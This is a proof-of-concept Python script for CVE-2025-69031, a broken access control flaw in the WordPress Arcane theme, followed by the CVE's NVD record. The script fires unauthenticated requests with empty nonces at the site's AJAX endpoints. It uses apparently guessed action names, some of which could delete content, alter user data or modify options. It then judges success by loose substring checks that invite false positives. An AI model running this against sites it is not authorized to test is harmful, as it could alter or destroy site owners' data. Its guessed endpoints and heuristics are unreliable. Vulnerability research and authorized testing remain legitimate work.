CVE-2025-69031

# CVE-2025-69031 PoC - WordPress Arcane Theme Broken Access Control # Description: Missing Authorization in Arcane theme allows unauthenticated access to privileged functions # Affected: Arcane theme <= 3.6.6 import requests import sys TARGET_URL = "http://target-wordpress-site.com" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-69031 Tests for missing authorization in Arcane theme endpoints """ print(f"[*] Testing target: {TARGET_URL}") print(f"[*] CVE-2025-69031 - Arcane Theme Broken Access Control\n") # Common Arcane theme AJAX endpoints to test test_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-content/themes/arcane/includes/ajax-handler.php", ] # Common Arcane theme actions actions = [ "arcane_save_settings", "arcane_export_data", "arcane_update_user_data", "arcane_delete_content", "arcane_modify_options", "arcane_get_user_info", "arcane_process_payment" ] vulnerable = False for endpoint in test_endpoints: for action in actions: try: # Send unauthenticated request with specific action data = { "action": action, "nonce": "", # No nonce provided (unauthenticated) } response = requests.post(endpoint, data=data, timeout=10, verify=False) # Check for successful response without authentication # Vulnerable endpoints may return 200 with sensitive data or perform actions if response.status_code == 200: # Check if response indicates successful unauthenticated access content = response.text.lower() # Indicators of vulnerability vulnerable_indicators = [ '"success":true' in content, '"status":"success"' in content, '"data":{' in content and len(content) > 50, 'settings' in content and 'update' in content, 'user' in content and 'id' in content ] if any(vulnerable_indicators): print(f"[!] VULNERABLE endpoint found: {endpoint}") print(f"[!] Action: {action}") print(f"[!] Status code: {response.status_code}") print(f"[!] Response preview: {response.text[:200]}...\n") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint} with action {action}: {e}") if vulnerable: print("[!] VULNERABILITY CONFIRMED - Target is affected by CVE-2025-69031") print("[!] Recommendation: Update Arcane theme to version > 3.6.6 or apply vendor patch") return True else: print("[*] No obvious vulnerability indicators found") print("[*] Manual testing recommended") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability()

{"cve": {"id": "CVE-2025-69031", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:16:01.703", "lastModified": "2026-04-27T20:16:26.073", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Skywarrior Arcane arcane allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Arcane: from n/a through <= 3.6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/arcane/vulnerability/wordpress-arcane-theme-3-6-6-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}